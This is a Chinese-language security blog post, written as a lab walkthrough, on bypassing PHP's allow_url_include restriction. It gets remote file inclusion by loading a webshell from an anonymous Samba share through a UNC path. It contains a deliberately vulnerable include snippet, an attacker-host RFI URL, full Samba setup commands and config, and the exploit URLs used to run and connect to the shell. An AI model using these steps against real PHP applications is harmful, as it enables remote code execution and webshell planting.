前言

为什么有今天这篇文章?原因是我在浏览Twitter时,发现关于远程文件包含RFI的一个奇淫技巧!值得记录一下,思路也很新奇!因为它打破我之前以为RFI已死的观点:)

正文

RFI引出

我们知道php最危险的漏洞函数类别之一就是文件包含类的函数,诸如include,include_once,require,require_once语句的时候,都会使用$_GET或者是其他未经过滤的变量,这就是一个主要的安全风险。

在PHP应用中,通常会有两个问题导致RFI漏洞。其中之一就是应用程序逻辑错误。这些漏洞产生的原因是本来应该被包含到另一个页面的文件并没有被包含,而是包含了其他文件。当这些文件独立执行时,就没有配置文件来指定这些变量的默认值,如果web应用配置不正确的话,用户就可以自己指定文件作为请求的一部分。

用一个最简单的例子来演示一下RFI

<?php $file=$_GET['file']; include($file); ?>

在上面的代码中,file参数从get请求中取值,并且是用户可控的值。file接收到参数值后直接带入到PHP文件中,没有经过任何处理。这样攻击者就可以发起相应的请求,从而让应用程序执行恶意脚本。例如,一个webshell如:http://example.com/?file=http://hacker.com/shell.php

通过这样操作,我们就可以远程包含一个shell,造成了RCE,但是这样操作有一个前提,要在php.ini中设置如下:

allow_url_fopen=on

allow_url_include=on

正常情况下,当这两个设置为off时,这个漏洞是不存在的!

另辟蹊径

PHP和SMB共享文件访问

在PHP配置文件中,“allow_url_include”包装器默认设置为“关闭”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止SMB URL加载。

攻击场景

  当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何凭据,易受攻击的应用程序将包含Web shell的PHP代码。 

首先我重新配置PHP环境并在php.ini文件中禁用“allow_url_fopen”以及“allow_url_include”。后来配置的SMB服务器具有匿名读访问权限。SMB共享准备就绪后,利用易受攻击的应用程序   

PHP环境设置

首先我们要把被攻击主机的php.ini的“allow_url_fopen”和“allow_url_include”设置为“Off”。

1557753659_5cd96f3b21d10.png!small

执行phpinfo查看配置是否成功:

1557753672_5cd96f48ef8f3.png!small

在继续之前,让我们确保当我们尝试访问受我们控制主机的Web shell时,PHP代码不允许远程文件包含:

1557753681_5cd96f5118866.png!small

当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有发生RFI!

使用匿名读取访问权限配置SAMBA服务器(Linux)

使用下面的命令安装SAMBA服务器:

apt-get install samba

创建SMB共享目录:

  mkdir /var/www/html/pub/ 

1557753688_5cd96f584f968.png!small

配置新创建的SMB共享目录的权限:

chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/

1557753699_5cd96f6358156.png!small

运行以下提到的命令以删除SAMBA服务器配置文件的默认内容:

echo > /etc/samba/smb.conf

将下面的内容放在’/etc/samba/smb.conf’文件中:

[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes  [ethan] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody

重新启动SAMBA服务器以应用配置文件/etc/samba/smb.conf中的新配置。

service smbd restart 

成功重新启动SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求凭据。

在我的例子中,SAMBA服务器IP是192.168.23.129,我需要访问Windows文件浏览器中的SMB共享,如下:

 \\192.168.23.129\

1557753709_5cd96f6dc725b.png!small

在SMB服务器中共享PHP Web shell

在目录’/ var / www / html / pub’中共享PHP shell,这是SMB共享指令’ethan’的目录。

这里放了两个shell,一个一句话ant.php用来测试蚁剑连接,一个大马poc.php。

1557753720_5cd96f7812fcb.png!small

接下我们开始攻击,首先包含poc.php执行我们的大马!

http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\poc.php

1557753729_5cd96f8176003.png!small

尝试蚁剑连接一句话!

1557753740_5cd96f8c7f847.png!small

1557753752_5cd96f9832359.png!small

Then, we  get it!

后记

有时候我们会局限在传统安全思维的禁锢,导致我们的视线范围缩小了许多,因此,打破固有思维,才能发现意想不到的漏洞!

*本文作者:cck